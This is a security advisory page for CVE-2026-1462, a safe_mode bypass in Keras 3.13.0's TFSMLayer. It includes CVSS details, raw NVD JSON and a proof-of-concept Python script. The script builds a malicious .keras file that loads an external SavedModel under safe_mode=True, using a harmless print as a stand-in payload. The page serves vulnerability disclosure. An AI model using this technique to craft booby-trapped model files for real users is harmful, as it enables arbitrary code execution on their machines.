Security Vulnerability Report
中文
CVE-2026-1462 CVSS 8.8 HIGH

CVE-2026-1462

Published: 2026-04-13 15:17:19
Last Modified: 2026-04-17 15:34:22

Description

A vulnerability in the `TFSMLayer` class of the `keras` package, version 3.13.0, allows attacker-controlled TensorFlow SavedModels to be loaded during deserialization of `.keras` models, even when `safe_mode=True`. This bypasses the security guarantees of `safe_mode` and enables arbitrary attacker-controlled code execution during model inference under the victim's privileges. The issue arises due to the unconditional loading of external SavedModels, serialization of attacker-controlled file paths, and the lack of validation in the `from_config()` method.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

keras 3.13.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import tensorflow as tf import keras import os import json import zipfile # 1. Create a malicious SavedModel that contains malicious code # In a real scenario, this model would execute arbitrary code malicious_model_path = "malicious_savedmodel" os.makedirs(malicious_model_path, exist_ok=True) # Create a simple model to represent the malicious payload class MaliciousModel(tf.Module): @tf.function(input_signature=[]) def __call__(self): # This represents arbitrary code execution tf.print("Malicious code executed via RCE!") return tf.constant(1.0) malicious_mod = MaliciousModel() tf.saved_model.save(malicious_mod, malicious_model_path) # 2. Construct a malicious .keras file containing TFSMLayer # The vulnerability allows loading the external SavedModel via config keras_config = { "class_name": "Sequential", "config": { "name": "malicious_model", "layers": [{ "class_name": "TFSMLayer", "config": { "filepath": os.path.abspath(malicious_model_path), # Pointing to malicious model "call_endpoint": "__call__" } }] } } # Save the config to a .keras file structure with zipfile.ZipFile("exploit_model.keras", "w") as z: z.writestr("config.json", json.dumps(keras_config)) z.writestr("metadata.json", json.dumps({"keras_version": "3.13.0", "backend": "tensorflow"})) # 3. Trigger the vulnerability # Even with safe_mode=True, the TFSMLayer loads the external model print("Loading malicious model with safe_mode=True...") try: # This bypasses safe_mode and executes code via TFSMLayer model = keras.models.load_model("exploit_model.keras", safe_mode=True) print("Model loaded successfully.") # Inference triggers the execution model.predict(None) except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1462", "sourceIdentifier": "[email protected]", "published": "2026-04-13T15:17:18.967", "lastModified": "2026-04-17T15:34:21.867", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the `TFSMLayer` class of the `keras` package, version 3.13.0, allows attacker-controlled TensorFlow SavedModels to be loaded during deserialization of `.keras` models, even when `safe_mode=True`. This bypasses the security guarantees of `safe_mode` and enables arbitrary attacker-controlled code execution during model inference under the victim's privileges. The issue arises due to the unconditional loading of external SavedModels, serialization of attacker-controlled file paths, and the lack of validation in the `from_config()` method."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://github.com/keras-team/keras/commit/b6773d3decaef1b05d8e794458e148cb362f163f", "source": "[email protected]"}, {"url": "https://huntr.com/bounties/7e78d6f1-6977-4300-b595-e81bdbda331c", "source": "[email protected]"}]}}